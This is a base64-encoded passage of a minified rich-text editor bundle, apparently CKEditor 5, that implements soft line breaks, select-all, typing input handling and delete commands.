LmVuZC5wYXJlbnQ7aWYoKGdBKG8sdCl8fGdBKHIsdCkpJiZvIT09cil7cmV0dXJuIGZhbHNlfXJldHVybiB0cnVlfWZ1bmN0aW9uIGZBKHQsZSxuKXtjb25zdCBpPW4uaXNDb2xsYXBzZWQ7Y29uc3Qgbz1uLmdldEZpcnN0UmFuZ2UoKTtjb25zdCByPW8uc3RhcnQucGFyZW50O2NvbnN0IHM9by5lbmQucGFyZW50O2NvbnN0IGE9cj09cztpZihpKXtjb25zdCBpPXJBKHQuc2NoZW1hLG4uZ2V0QXR0cmlidXRlcygpKTttQSh0LGUsby5lbmQpO2UucmVtb3ZlU2VsZWN0aW9uQXR0cmlidXRlKG4uZ2V0QXR0cmlidXRlS2V5cygpKTtlLnNldFNlbGVjdGlvbkF0dHJpYnV0ZShpKX1lbHNle2NvbnN0IGk9IShvLnN0YXJ0LmlzQXRTdGFydCYmby5lbmQuaXNBdEVuZCk7dC5kZWxldGVDb250ZW50KG4se2xlYXZlVW5tZXJnZWQ6aX0pO2lmKGEpe21BKHQsZSxuLmZvY3VzKX1lbHNle2lmKGkpe2Uuc2V0U2VsZWN0aW9uKHMsMCl9fX19ZnVuY3Rpb24gbUEodCxlLG4pe2NvbnN0IGk9ZS5jcmVhdGVFbGVtZW50KCJzb2Z0QnJlYWsiKTt0Lmluc2VydENvbnRlbnQoaSxuKTtlLnNldFNlbGVjdGlvbihpLCJhZnRlciIpfWZ1bmN0aW9uIGdBKHQsZSl7aWYodC5pcygicm9vdEVsZW1lbnQiKSl7cmV0dXJuIGZhbHNlfXJldHVybiBlLmlzTGltaXQodCl8fGdBKHQucGFyZW50LGUpfWNsYXNzIHBBIGV4dGVuZHMgbkN7c3RhdGljIGdldCBwbHVnaW5OYW1lKCl7cmV0dXJuIlNoaWZ0RW50ZXIifWluaXQoKXtjb25zdCB0PXRoaXMuZWRpdG9yO2NvbnN0IGU9dC5tb2RlbC5zY2hlbWE7Y29uc3Qgbj10LmNvbnZlcnNpb247Y29uc3QgaT10LmVkaXRpbmcudmlldztjb25zdCBvPWkuZG9jdW1lbnQ7ZS5yZWdpc3Rlcigic29mdEJyZWFrIix7YWxsb3dXaGVyZToiJHRleHQiLGlzSW5saW5lOnRydWV9KTtuLmZvcigidXBjYXN0IikuZWxlbWVudFRvRWxlbWVudCh7bW9kZWw6InNvZnRCcmVhayIsdmlldzoiYnIifSk7bi5mb3IoImRvd25jYXN0IikuZWxlbWVudFRvRWxlbWVudCh7bW9kZWw6InNvZnRCcmVhayIsdmlldzoodCx7d3JpdGVyOmV9KT0+ZS5jcmVhdGVFbXB0eUVsZW1lbnQoImJyIil9KTtpLmFkZE9ic2VydmVyKGxBKTt0LmNvbW1hbmRzLmFkZCgic2hpZnRFbnRlciIsbmV3IHVBKHQpKTt0aGlzLmxpc3RlblRvKG8sImVudGVyIiwoKGUsbik9PntuLnByZXZlbnREZWZhdWx0KCk7aWYoIW4uaXNTb2Z0KXtyZXR1cm59dC5leGVjdXRlKCJzaGlmdEVudGVyIik7aS5zY3JvbGxUb1RoZVNlbGVjdGlvbigpfSkse3ByaW9yaXR5OiJsb3cifSl9fWNsYXNzIGtBIGV4dGVuZHMgb0N7ZXhlY3V0ZSgpe2NvbnN0IHQ9dGhpcy5lZGl0b3IubW9kZWw7Y29uc3QgZT10LmRvY3VtZW50LnNlbGVjdGlvbjtsZXQgbj10LnNjaGVtYS5nZXRMaW1pdEVsZW1lbnQoZSk7aWYoZS5jb250YWluc0VudGlyZUNvbnRlbnQobil8fCFiQSh0LnNjaGVtYSxuKSl7ZG97bj1uLnBhcmVudDtpZighbil7cmV0dXJufX13aGlsZSghYkEodC5zY2hlbWEsbikpfXQuY2hhbmdlKCh0PT57dC5zZXRTZWxlY3Rpb24obiwiaW4iKX0pKX19ZnVuY3Rpb24gYkEodCxlKXtyZXR1cm4gdC5pc0xpbWl0KGUpJiYodC5jaGVja0NoaWxkKGUsIiR0ZXh0Iil8fHQuY2hlY2tDaGlsZChlLCJwYXJhZ3JhcGgiKSl9Y29uc3Qgd0E9UmwoIkN0cmwrQSIpO2NsYXNzIENBIGV4dGVuZHMgbkN7c3RhdGljIGdldCBwbHVnaW5OYW1lKCl7cmV0dXJuIlNlbGVjdEFsbEVkaXRpbmcifWluaXQoKXtjb25zdCB0PXRoaXMuZWRpdG9yO2NvbnN0IGU9dC5lZGl0aW5nLnZpZXc7Y29uc3Qgbj1lLmRvY3VtZW50O3QuY29tbWFuZHMuYWRkKCJzZWxlY3RBbGwiLG5ldyBrQSh0KSk7dGhpcy5saXN0ZW5UbyhuLCJrZXlkb3duIiwoKGUsbik9PntpZihPbChuKT09PXdBKXt0LmV4ZWN1dGUoInNlbGVjdEFsbCIpO24ucHJldmVudERlZmF1bHQoKX19KSl9fXZhciBBQT0nPHN2ZyB3aWR0aD0iMjAiIGhlaWdodD0iMjAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHBhdGggZD0iTS43NSAxNS41YS43NS43NSAwIDAgMSAuNzUuNzVWMThsLjAwOC4wOUEuNS41IDAgMCAwIDIgMTguNWgxLjc1YS43NS43NSAwIDEgMSAwIDEuNUgxLjVsLS4xNDQtLjAwN2ExLjUgMS41IDAgMCAxLTEuMzUtMS4zNDlMMCAxOC41di0yLjI1YS43NS43NSAwIDAgMSAuNzUtLjc1em0xOC41IDBhLjc1Ljc1IDAgMCAxIC43NS43NXYyLjI1bC0uMDA3LjE0NGExLjUgMS41IDAgMCAxLTEuMzQ5IDEuMzVMMTguNSAyMGgtMi4yNWEuNzUuNzUgMCAxIDEgMC0xLjVIMThhLjUuNSAwIDAgMCAuNDkyLS40MUwxOC41IDE4di0xLjc1YS43NS43NSAwIDAgMSAuNzUtLjc1em0tMTAuNDUgM2MuMTEgMCAuMi4wOS4yLjJ2MS4xYS4yLjIgMCAwIDEtLjIuMkg3LjJhLjIuMiAwIDAgMS0uMi0uMnYtMS4xYzAtLjExLjA5LS4yLjItLjJoMS42em00IDBjLjExIDAgLjIuMDkuMi4ydjEuMWEuMi4yIDAgMCAxLS4yLjJoLTEuNmEuMi4yIDAgMCAxLS4yLS4ydi0xLjFjMC0uMTEuMDktLjIuMi0uMmgxLjZ6bS40NS01LjVhLjc1Ljc1IDAgMSAxIDAgMS41aC04LjVhLjc1Ljc1IDAgMSAxIDAtMS41aDguNXpNMS4zIDExYy4xMSAwIC4yLjA5LjIuMnYxLjZhLjIuMiAwIDAgMS0uMi4ySC4yYS4yLjIgMCAwIDEtLjItLjJ2LTEuNmMwLS4xMS4wOS0uMi4yLS4yaDEuMXptMTguNSAwYy4xMSAwIC4yLjA5LjIuMnYxLjZhLjIuMiAwIDAgMS0uMi4yaC0xLjFhLjIuMiAwIDAgMS0uMi0uMnYtMS42YzAtLjExLjA5LS4yLjItLjJoMS4xem0tNC41NS0yYS43NS43NSAwIDEgMSAwIDEuNUg0Ljc1YS43NS43NSAwIDEgMSAwLTEuNWgxMC41ek0xLjMgN2MuMTEgMCAuMi4wOS4yLjJ2MS42YS4yLjIgMCAwIDEtLjIuMkguMmEuMi4yIDAgMCAxLS4yLS4yVjcuMmMwLS4xMS4wOS0uMi4yLS4yaDEuMXptMTguNSAwYy4xMSAwIC4yLjA5LjIuMnYxLjZhLjIuMiAwIDAgMS0uMi4yaC0xLjFhLjIuMiAwIDAgMS0uMi0uMlY3LjJjMC0uMTEuMDktLjIuMi0uMmgxLjF6bS00LjU1LTJhLjc1Ljc1IDAgMSAxIDAgMS41aC0yLjVhLjc1Ljc1IDAgMSAxIDAtMS41aDIuNXptLTUgMGEuNzUuNzUgMCAxIDEgMCAxLjVoLTUuNWEuNzUuNzUgMCAwIDEgMC0xLjVoNS41em0tNi41LTVhLjc1Ljc1IDAgMCAxIDAgMS41SDJhLjUuNSAwIDAgMC0uNDkyLjQxTDEuNSAydjEuNzVhLjc1Ljc1IDAgMCAxLTEuNSAwVjEuNWwuMDA3LS4xNDRBMS41IDEuNSAwIDAgMSAxLjM1Ni4wMDZMMS41IDBoMi4yNXpNMTguNSAwbC4xNDQuMDA3YTEuNSAxLjUgMCAwIDEgMS4zNSAxLjM0OUwyMCAxLjV2Mi4yNWEuNzUuNzUgMCAxIDEtMS41IDBWMmwtLjAwOC0uMDlBLjUuNSAwIDAgMCAxOCAxLjVoLTEuNzVhLjc1Ljc1IDAgMSAxIDAtMS41aDIuMjV6TTguOCAwYy4xMSAwIC4yLjA5LjIuMnYxLjFhLjIuMiAwIDAgMS0uMi4ySDcuMmEuMi4yIDAgMCAxLS4yLS4yVi4yYzAtLjExLjA5LS4yLjItLjJoMS42em00IDBjLjExIDAgLjIuMDkuMi4ydjEuMWEuMi4yIDAgMCAxLS4yLjJoLTEuNmEuMi4yIDAgMCAxLS4yLS4yVi4yYzAtLjExLjA5LS4yLjItLjJoMS42eiIvPjwvc3ZnPic7Y2xhc3MgX0EgZXh0ZW5kcyBuQ3tzdGF0aWMgZ2V0IHBsdWdpbk5hbWUoKXtyZXR1cm4iU2VsZWN0QWxsVUkifWluaXQoKXtjb25zdCB0PXRoaXMuZWRpdG9yO3QudWkuY29tcG9uZW50RmFjdG9yeS5hZGQoInNlbGVjdEFsbCIsKGU9Pntjb25zdCBuPXQuY29tbWFuZHMuZ2V0KCJzZWxlY3RBbGwiKTtjb25zdCBpPW5ldyBjdyhlKTtjb25zdCBvPWUudDtpLnNldCh7bGFiZWw6bygiU2VsZWN0IGFsbCIpLGljb246QUEsa2V5c3Ryb2tlOiJDdHJsK0EiLHRvb2x0aXA6dHJ1ZX0pO2kuYmluZCgiaXNPbiIsImlzRW5hYmxlZCIpLnRvKG4sInZhbHVlIiwiaXNFbmFibGVkIik7dGhpcy5saXN0ZW5UbyhpLCJleGVjdXRlIiwoKCk9Pnt0LmV4ZWN1dGUoInNlbGVjdEFsbCIpO3QuZWRpdGluZy52aWV3LmZvY3VzKCl9KSk7cmV0dXJuIGl9KSl9fWNsYXNzIHZBIGV4dGVuZHMgbkN7c3RhdGljIGdldCByZXF1aXJlcygpe3JldHVybltDQSxfQV19c3RhdGljIGdldCBwbHVnaW5OYW1lKCl7cmV0dXJuIlNlbGVjdEFsbCJ9fWNsYXNzIHlBe2NvbnN0cnVjdG9yKHQsZT0yMCl7dGhpcy5tb2RlbD10O3RoaXMuc2l6ZT0wO3RoaXMubGltaXQ9ZTt0aGlzLmlzTG9ja2VkPWZhbHNlO3RoaXMuX2NoYW5nZUNhbGxiYWNrPSh0LGUpPT57aWYoZS50eXBlIT0idHJhbnNwYXJlbnQiJiZlIT09dGhpcy5fYmF0Y2gpe3RoaXMuX3Jlc2V0KHRydWUpfX07dGhpcy5fc2VsZWN0aW9uQ2hhbmdlQ2FsbGJhY2s9KCk9Pnt0aGlzLl9yZXNldCgpfTt0aGlzLm1vZGVsLmRvY3VtZW50Lm9uKCJjaGFuZ2UiLHRoaXMuX2NoYW5nZUNhbGxiYWNrKTt0aGlzLm1vZGVsLmRvY3VtZW50LnNlbGVjdGlvbi5vbigiY2hhbmdlOnJhbmdlIix0aGlzLl9zZWxlY3Rpb25DaGFuZ2VDYWxsYmFjayk7dGhpcy5tb2RlbC5kb2N1bWVudC5zZWxlY3Rpb24ub24oImNoYW5nZTphdHRyaWJ1dGUiLHRoaXMuX3NlbGVjdGlvbkNoYW5nZUNhbGxiYWNrKX1nZXQgYmF0Y2goKXtpZighdGhpcy5fYmF0Y2gpe3RoaXMuX2JhdGNoPXRoaXMubW9kZWwuY3JlYXRlQmF0Y2goKX1yZXR1cm4gdGhpcy5fYmF0Y2h9aW5wdXQodCl7dGhpcy5zaXplKz10O2lmKHRoaXMuc2l6ZT49dGhpcy5saW1pdCl7dGhpcy5fcmVzZXQodHJ1ZSl9fWxvY2soKXt0aGlzLmlzTG9ja2VkPXRydWV9dW5sb2NrKCl7dGhpcy5pc0xvY2tlZD1mYWxzZX1kZXN0cm95KCl7dGhpcy5tb2RlbC5kb2N1bWVudC5vZmYoImNoYW5nZSIsdGhpcy5fY2hhbmdlQ2FsbGJhY2spO3RoaXMubW9kZWwuZG9jdW1lbnQuc2VsZWN0aW9uLm9mZigiY2hhbmdlOnJhbmdlIix0aGlzLl9zZWxlY3Rpb25DaGFuZ2VDYWxsYmFjayk7dGhpcy5tb2RlbC5kb2N1bWVudC5zZWxlY3Rpb24ub2ZmKCJjaGFuZ2U6YXR0cmlidXRlIix0aGlzLl9zZWxlY3Rpb25DaGFuZ2VDYWxsYmFjayl9X3Jlc2V0KHQpe2lmKCF0aGlzLmlzTG9ja2VkfHx0KXt0aGlzLl9iYXRjaD1udWxsO3RoaXMuc2l6ZT0wfX19Y2xhc3MgeEEgZXh0ZW5kcyBvQ3tjb25zdHJ1Y3Rvcih0LGUpe3N1cGVyKHQpO3RoaXMuX2J1ZmZlcj1uZXcgeUEodC5tb2RlbCxlKTt0aGlzLl9iYXRjaGVzPW5ldyBXZWFrU2V0fWdldCBidWZmZXIoKXtyZXR1cm4gdGhpcy5fYnVmZmVyfWRlc3Ryb3koKXtzdXBlci5kZXN0cm95KCk7dGhpcy5fYnVmZmVyLmRlc3Ryb3koKX1leGVjdXRlKHQ9e30pe2NvbnN0IGU9dGhpcy5lZGl0b3IubW9kZWw7Y29uc3Qgbj1lLmRvY3VtZW50O2NvbnN0IGk9dC50ZXh0fHwiIjtjb25zdCBvPWkubGVuZ3RoO2NvbnN0IHI9dC5yYW5nZT9lLmNyZWF0ZVNlbGVjdGlvbih0LnJhbmdlKTpuLnNlbGVjdGlvbjtjb25zdCBzPXQucmVzdWx0UmFuZ2U7ZS5lbnF1ZXVlQ2hhbmdlKHRoaXMuX2J1ZmZlci5iYXRjaCwodD0+e3RoaXMuX2J1ZmZlci5sb2NrKCk7dGhpcy5fYmF0Y2hlcy5hZGQodGhpcy5fYnVmZmVyLmJhdGNoKTtlLmRlbGV0ZUNvbnRlbnQocik7aWYoaSl7ZS5pbnNlcnRDb250ZW50KHQuY3JlYXRlVGV4dChpLG4uc2VsZWN0aW9uLmdldEF0dHJpYnV0ZXMoKSkscil9aWYocyl7dC5zZXRTZWxlY3Rpb24ocyl9ZWxzZSBpZighci5pcygiZG9jdW1lbnRTZWxlY3Rpb24iKSl7dC5zZXRTZWxlY3Rpb24ocil9dGhpcy5fYnVmZmVyLnVubG9jaygpO3RoaXMuX2J1ZmZlci5pbnB1dChvKX0pKX19ZnVuY3Rpb24gREEodCl7bGV0IGU9bnVsbDtjb25zdCBuPXQubW9kZWw7Y29uc3QgaT10LmVkaXRpbmcudmlldztjb25zdCBvPXQuY29tbWFuZHMuZ2V0KCJpbnB1dCIpO2lmKEVsLmlzQW5kcm9pZCl7aS5kb2N1bWVudC5vbigiYmVmb3JlaW5wdXQiLCgodCxlKT0+cihlKSkse3ByaW9yaXR5OiJsb3dlc3QifSl9ZWxzZXtpLmRvY3VtZW50Lm9uKCJrZXlkb3duIiwoKHQsZSk9PnIoZSkpLHtwcmlvcml0eToibG93ZXN0In0pfWkuZG9jdW1lbnQub24oImNvbXBvc2l0aW9uc3RhcnQiLHMse3ByaW9yaXR5OiJsb3dlc3QifSk7aS5kb2N1bWVudC5vbigiY29tcG9zaXRpb25lbmQiLCgoKT0+e2U9bi5jcmVhdGVTZWxlY3Rpb24obi5kb2N1bWVudC5zZWxlY3Rpb24pfSkse3ByaW9yaXR5OiJsb3dlc3QifSk7ZnVuY3Rpb24gcih0KXtjb25zdCByPW4uZG9jdW1lbnQ7Y29uc3Qgcz1pLmRvY3VtZW50LmlzQ29tcG9zaW5nO2NvbnN0IGM9ZSYmZS5pc0VxdWFsKHIuc2VsZWN0aW9uKTtlPW51bGw7aWYoIW8uaXNFbmFibGVkKXtyZXR1cm59aWYoTUEodCl8fHIuc2VsZWN0aW9uLmlzQ29sbGFwc2VkKXtyZXR1cm59aWYocyYmdC5rZXlDb2RlPT09MjI5KXtyZXR1cm59aWYoIXMmJnQua2V5Q29kZT09PTIyOSYmYyl7cmV0dXJufWEoKX1mdW5jdGlvbiBzKCl7Y29uc3QgdD1uLmRvY3VtZW50O2NvbnN0IGU9dC5zZWxlY3Rpb24ucmFuZ2VDb3VudD09PTE/dC5zZWxlY3Rpb24uZ2V0Rmlyc3RSYW5nZSgpLmlzRmxhdDp0cnVlO2lmKHQuc2VsZWN0aW9uLmlzQ29sbGFwc2VkfHxlKXtyZXR1cm59YSgpfWZ1bmN0aW9uIGEoKXtjb25zdCB0PW8uYnVmZmVyO3QubG9jaygpO2NvbnN0IGU9dC5iYXRjaDtvLl9iYXRjaGVzLmFkZChlKTtuLmVucXVldWVDaGFuZ2UoZSwoKCk9PntuLmRlbGV0ZUNvbnRlbnQobi5kb2N1bWVudC5zZWxlY3Rpb24pfSkpO3QudW5sb2NrKCl9fWNvbnN0IEVBPVtPbCgiYXJyb3dVcCIpLE9sKCJhcnJvd1JpZ2h0IiksT2woImFycm93RG93biIpLE9sKCJhcnJvd0xlZnQiKSw5LDE2LDE3LDE4LDE5LDIwLDI3LDMzLDM0LDM1LDM2LDQ1LDkxLDkzLDE0NCwxNDUsMTczLDE3NCwxNzUsMTc2LDE3NywxNzgsMTc5LDI1NV07Zm9yKGxldCB0PTExMjt0PD0xMzU7dCsrKXtFQS5wdXNoKHQpfWZ1bmN0aW9uIE1BKHQpe2lmKHQuY3RybEtleSl7cmV0dXJuIHRydWV9cmV0dXJuIEVBLmluY2x1ZGVzKHQua2V5Q29kZSl9ZnVuY3Rpb24gU0EodCxlKXtjb25zdCBuPVtdO2xldCBpPTA7bGV0IG87dC5mb3JFYWNoKCh0PT57aWYodD09ImVxdWFsIil7cigpO2krK31lbHNlIGlmKHQ9PSJpbnNlcnQiKXtpZihzKCJpbnNlcnQiKSl7by52YWx1ZXMucHVzaChlW2ldKX1lbHNle3IoKTtvPXt0eXBlOiJpbnNlcnQiLGluZGV4OmksdmFsdWVzOltlW2ldXX19aSsrfWVsc2V7aWYocygiZGVsZXRlIikpe28uaG93TWFueSsrfWVsc2V7cigpO289e3R5cGU6ImRlbGV0ZSIsaW5kZXg6aSxob3dNYW55OjF9fX19KSk7cigpO3JldHVybiBuO2Z1bmN0aW9uIHIoKXtpZihvKXtuLnB1c2gobyk7bz1udWxsfX1mdW5jdGlvbiBzKHQpe3JldHVybiBvJiZvLnR5cGU9PXR9fWZ1bmN0aW9uIFRBKHQpe2lmKHQubGVuZ3RoPT0wKXtyZXR1cm4gZmFsc2V9Zm9yKGNvbnN0IGUgb2YgdCl7aWYoZS50eXBlPT09ImNoaWxkcmVuIiYmIUlBKGUpKXtyZXR1cm4gdHJ1ZX19cmV0dXJuIGZhbHNlfWZ1bmN0aW9uIElBKHQpe2lmKHQubmV3Q2hpbGRyZW4ubGVuZ3RoLXQub2xkQ2hpbGRyZW4ubGVuZ3RoIT0xKXtyZXR1cm59Y29uc3QgZT1FZCh0Lm9sZENoaWxkcmVuLHQubmV3Q2hpbGRyZW4sTkEpO2NvbnN0IG49U0EoZSx0Lm5ld0NoaWxkcmVuKTtpZihuLmxlbmd0aD4xKXtyZXR1cm59Y29uc3QgaT1uWzBdO2lmKCEoISFpLnZhbHVlc1swXSYmaS52YWx1ZXNbMF0uaXMoIiR0ZXh0IikpKXtyZXR1cm59cmV0dXJuIGl9ZnVuY3Rpb24gTkEodCxlKXtpZighIXQmJnQuaXMoIiR0ZXh0IikmJiEhZSYmZS5pcygiJHRleHQiKSl7cmV0dXJuIHQuZGF0YT09PWUuZGF0YX1lbHNle3JldHVybiB0PT09ZX19ZnVuY3Rpb24gQkEodCl7dC5lZGl0aW5nLnZpZXcuZG9jdW1lbnQub24oIm11dGF0aW9ucyIsKChlLG4saSk9PntuZXcgUEEodCkuaGFuZGxlKG4saSl9KSl9Y2xhc3MgUEF7Y29uc3RydWN0b3IodCl7dGhpcy5lZGl0b3I9dDt0aGlzLmVkaXRpbmc9dGhpcy5lZGl0b3IuZWRpdGluZ31oYW5kbGUodCxlKXtpZihUQSh0KSl7dGhpcy5faGFuZGxlQ29udGFpbmVyQ2hpbGRyZW5NdXRhdGlvbnModCxlKX1lbHNle2Zvcihjb25zdCBuIG9mIHQpe3RoaXMuX2hhbmRsZVRleHRNdXRhdGlvbihuLGUpO3RoaXMuX2hhbmRsZVRleHROb2RlSW5zZXJ0aW9uKG4pfX19X2hhbmRsZUNvbnRhaW5lckNoaWxkcmVuTXV0YXRpb25zKHQsZSl7Y29uc3Qgbj16QSh0KTtpZighbil7cmV0dXJufWNvbnN0IGk9dGhpcy5lZGl0b3IuZWRpdGluZy52aWV3LmRvbUNvbnZlcnRlcjtjb25zdCBvPWkubWFwVmlld1RvRG9tKG4pO2NvbnN0IHI9bmV3IEdkKHRoaXMuZWRpdG9yLmVkaXRpbmcudmlldy5kb2N1bWVudCk7Y29uc3Qgcz10aGlzLmVkaXRvci5kYXRhLnRvTW9kZWwoci5kb21Ub1ZpZXcobykpLmdldENoaWxkKDApO2NvbnN0IGE9dGhpcy5lZGl0b3IuZWRpdGluZy5tYXBwZXIudG9Nb2RlbEVsZW1lbnQobik7aWYoIWEpe3JldHVybn1jb25zdCBjPUFycmF5LmZyb20ocy5nZXRDaGlsZHJlbigpKTtjb25zdCBsPUFycmF5LmZyb20oYS5nZXRDaGlsZHJlbigpKTtjb25zdCBkPWNbYy5sZW5ndGgtMV07Y29uc3QgdT1sW2wubGVuZ3RoLTFdO2NvbnN0IGg9ZCYmZC5pcygiZWxlbWVudCIsInNvZnRCcmVhayIpO2NvbnN0IGY9dSYmIXUuaXMoImVsZW1lbnQiLCJzb2Z0QnJlYWsiKTtpZihoJiZmKXtjLnBvcCgpfWNvbnN0IG09dGhpcy5lZGl0b3IubW9kZWwuc2NoZW1hO2lmKCFMQShjLG0pfHwhTEEobCxtKSl7cmV0dXJufWNvbnN0IGc9Yy5tYXAoKHQ9PnQuaXMoIiR0ZXh0Iik/dC5kYXRhOiJAIikpLmpvaW4oIiIpLnJlcGxhY2UoL1x1MDBBMC9nLCIgIik7Y29uc3QgcD1sLm1hcCgodD0+dC5pcygiJHRleHQiKT90LmRhdGE6IkAiKSkuam9pbigiIikucmVwbGFjZSgvXHUwMEEwL2csIiAiKTtpZihwPT09Zyl7cmV0dXJufWNvbnN0IGs9RWQocCxnKTtjb25zdHtmaXJzdENoYW5nZUF0OmIsaW5zZXJ0aW9uczp3LGRlbGV0aW9uczpDfT1PQShrKTtsZXQgQT1udWxsO2lmKGUpe0E9dGhpcy5lZGl0aW5nLm1hcHBlci50b01vZGVsUmFuZ2UoZS5nZXRGaXJzdFJhbmdlKCkpfWNvbnN0IF89Zy5zdWJzdHIoYix3KTtjb25zdCB2PXRoaXMuZWRpdG9yLm1vZGVsLmNyZWF0ZVJhbmdlKHRoaXMuZWRpdG9yLm1vZGVsLmNyZWF0ZVBvc2l0aW9uQXQoYSxiKSx0aGlzLmVkaXRvci5tb2RlbC5jcmVhdGVQb3NpdGlvbkF0KGEsYitDKSk7dGhpcy5lZGl0b3IuZXhlY3V0ZSgiaW5wdXQiLHt0ZXh0Ol8scmFuZ2U6dixyZXN1bHRSYW5nZTpBfSl9X2hhbmRsZVRleHRNdXRhdGlvbih0LGUpe2lmKHQudHlwZSE9InRleHQiKXtyZXR1cm59Y29uc3Qgbj10Lm5ld1RleHQucmVwbGFjZSgvXHUwMEEwL2csIiAiKTtjb25zdCBpPXQub2xkVGV4dC5yZXBsYWNlKC9cdTAwQTAvZywiICIpO2lmKGk9PT1uKXtyZXR1cm59Y29uc3Qgbz1FZChpLG4pO2NvbnN0e2ZpcnN0Q2hhbmdlQXQ6cixpbnNlcnRpb25zOnMsZGVsZXRpb25zOmF9PU9BKG8pO2xldCBjPW51bGw7aWYoZSl7Yz10aGlzLmVkaXRpbmcubWFwcGVyLnRvTW9kZWxSYW5nZShlLmdldEZpcnN0UmFuZ2UoKSl9Y29uc3QgbD10aGlzLmVkaXRpbmcudmlldy5jcmVhdGVQb3NpdGlvbkF0KHQubm9kZSxyKTtjb25zdCBkPXRoaXMuZWRpdGluZy5tYXBwZXIudG9Nb2RlbFBvc2l0aW9uKGwpO2NvbnN0IHU9dGhpcy5lZGl0b3IubW9kZWwuY3JlYXRlUmFuZ2UoZCxkLmdldFNoaWZ0ZWRCeShhKSk7Y29uc3QgaD1uLnN1YnN0cihyLHMpO3RoaXMuZWRpdG9yLmV4ZWN1dGUoImlucHV0Iix7dGV4dDpoLHJhbmdlOnUscmVzdWx0UmFuZ2U6Y30pfV9oYW5kbGVUZXh0Tm9kZUluc2VydGlvbih0KXtpZih0LnR5cGUhPSJjaGlsZHJlbiIpe3JldHVybn1jb25zdCBlPUlBKHQpO2NvbnN0IG49dGhpcy5lZGl0aW5nLnZpZXcuY3JlYXRlUG9zaXRpb25BdCh0Lm5vZGUsZS5pbmRleCk7Y29uc3QgaT10aGlzLmVkaXRpbmcubWFwcGVyLnRvTW9kZWxQb3NpdGlvbihuKTtjb25zdCBvPWUudmFsdWVzWzBdLmRhdGE7dGhpcy5lZGl0b3IuZXhlY3V0ZSgiaW5wdXQiLHt0ZXh0Om8ucmVwbGFjZSgvXHUwMEEwL2csIiAiKSxyYW5nZTp0aGlzLmVkaXRvci5tb2RlbC5jcmVhdGVSYW5nZShpKX0pfX1mdW5jdGlvbiB6QSh0KXtjb25zdCBlPXQubWFwKCh0PT50Lm5vZGUpKS5yZWR1Y2UoKCh0LGUpPT50LmdldENvbW1vbkFuY2VzdG9yKGUse2luY2x1ZGVTZWxmOnRydWV9KSkpO2lmKCFlKXtyZXR1cm59cmV0dXJuIGUuZ2V0QW5jZXN0b3JzKHtpbmNsdWRlU2VsZjp0cnVlLHBhcmVudEZpcnN0OnRydWV9KS5maW5kKCh0PT50LmlzKCJjb250YWluZXJFbGVtZW50Iil8fHQuaXMoInJvb3RFbGVtZW50IikpKX1mdW5jdGlvbiBMQSh0LGUpe3JldHVybiB0LmV2ZXJ5KCh0PT5lLmlzSW5saW5lKHQpKSl9ZnVuY3Rpb24gT0EodCl7bGV0IGU9bnVsbDtsZXQgbj1udWxsO2ZvcihsZXQgaT0wO2k8dC5sZW5ndGg7aSsrKXtjb25zdCBvPXRbaV07aWYobyE9ImVxdWFsIil7ZT1lPT09bnVsbD9pOmU7bj1pfX1sZXQgaT0wO2xldCBvPTA7Zm9yKGxldCByPWU7cjw9bjtyKyspe2lmKHRbcl0hPSJpbnNlcnQiKXtpKyt9aWYodFtyXSE9ImRlbGV0ZSIpe28rK319cmV0dXJue2luc2VydGlvbnM6byxkZWxldGlvbnM6aSxmaXJzdENoYW5nZUF0OmV9fWNsYXNzIFJBIGV4dGVuZHMgbkN7c3RhdGljIGdldCBwbHVnaW5OYW1lKCl7cmV0dXJuIklucHV0In1pbml0KCl7Y29uc3QgdD10aGlzLmVkaXRvcjtjb25zdCBlPW5ldyB4QSh0LHQuY29uZmlnLmdldCgidHlwaW5nLnVuZG9TdGVwIil8fDIwKTt0LmNvbW1hbmRzLmFkZCgiaW5wdXQiLGUpO0RBKHQpO0JBKHQpfWlzSW5wdXQodCl7Y29uc3QgZT10aGlzLmVkaXRvci5jb21tYW5kcy5nZXQoImlucHV0Iik7cmV0dXJuIGUuX2JhdGNoZXMuaGFzKHQpfX1jbGFzcyBqQSBleHRlbmRzIG9De2NvbnN0cnVjdG9yKHQsZSl7c3VwZXIodCk7dGhpcy5kaXJlY3Rpb249ZTt0aGlzLl9idWZmZXI9bmV3IHlBKHQubW9kZWwsdC5jb25maWcuZ2V0KCJ0eXBpbmcudW5kb1N0ZXAiKSl9Z2V0IGJ1ZmZlcigpe3JldHVybiB0aGlzLl9idWZmZXJ9ZXhlY3V0ZSh0PXt9KXtjb25zdCBlPXRoaXMuZWRpdG9yLm1vZGVsO2NvbnN0IG49ZS5kb2N1bWVudDtlLmVucXVldWVDaGFuZ2UodGhpcy5fYnVmZmVyLmJhdGNoLChpPT57dGhpcy5fYnVmZmVyLmxvY2soKTtjb25zdCBvPWkuY3JlYXRlU2VsZWN0aW9uKHQuc2VsZWN0aW9ufHxuLnNlbGVjdGlvbik7Y29uc3Qgcj1vLmlzQ29sbGFwc2VkO2lmKG8uaXNDb2xsYXBzZWQpe2UubW9kaWZ5U2VsZWN0aW9uKG8se2RpcmVjdGlvbjp0aGlzLmRpcmVjdGlvbix1bml0OnQudW5pdH0pfWlmKHRoaXMuX3Nob3VsZEVudGlyZUNvbnRlbnRCZVJlcGxhY2VkV2l0aFBhcmFncmFwaCh0LnNlcXVlbmNlfHwxKSl7dGhpcy5fcmVwbGFjZUVudGlyZUNvbnRlbnRXaXRoUGFyYWdyYXBoKGkpO3JldHVybn1pZihvLmlzQ29sbGFwc2VkKXtyZXR1cm59bGV0IHM9MDtvLmdldEZpcnN0UmFuZ2UoKS5nZXRNaW5pbWFsRmxhdFJhbmdlcygpLmZvckVhY2goKHQ9PntzKz1nbCh0LmdldFdhbGtlcih7c2luZ2xlQ2hhcmFjdGVyczp0cnVlLGlnbm9yZUVsZW1lbnRFbmQ6dHJ1ZSxzaGFsbG93OnRydWV9KSl9KSk7ZS5kZWxldGVDb250ZW50KG8se2RvTm90UmVzZXRFbnRpcmVDb250ZW50OnIsZGlyZWN0aW9uOnRoaXMuZGlyZWN0aW9ufSk7dGhpcy5fYnVmZmVyLmlucHV0KHMpO2kuc2V0U2VsZWN0aW9uKG8pO3RoaXMuX2J1ZmZlci51bmxvY2soKX0pKX1fc2hvdWxkRW50aXJlQ29udGVudEJlUmVwbGFjZWRXaXRoUGFyYWdyYXBoKHQpe2lmKHQ+MSl7cmV0dXJuIGZhbHNlfWNvbnN0IGU9dGhpcy5lZGl0b3IubW9kZWw7Y29uc3Qgbj1lLmRvY3VtZW50O2NvbnN0IGk9b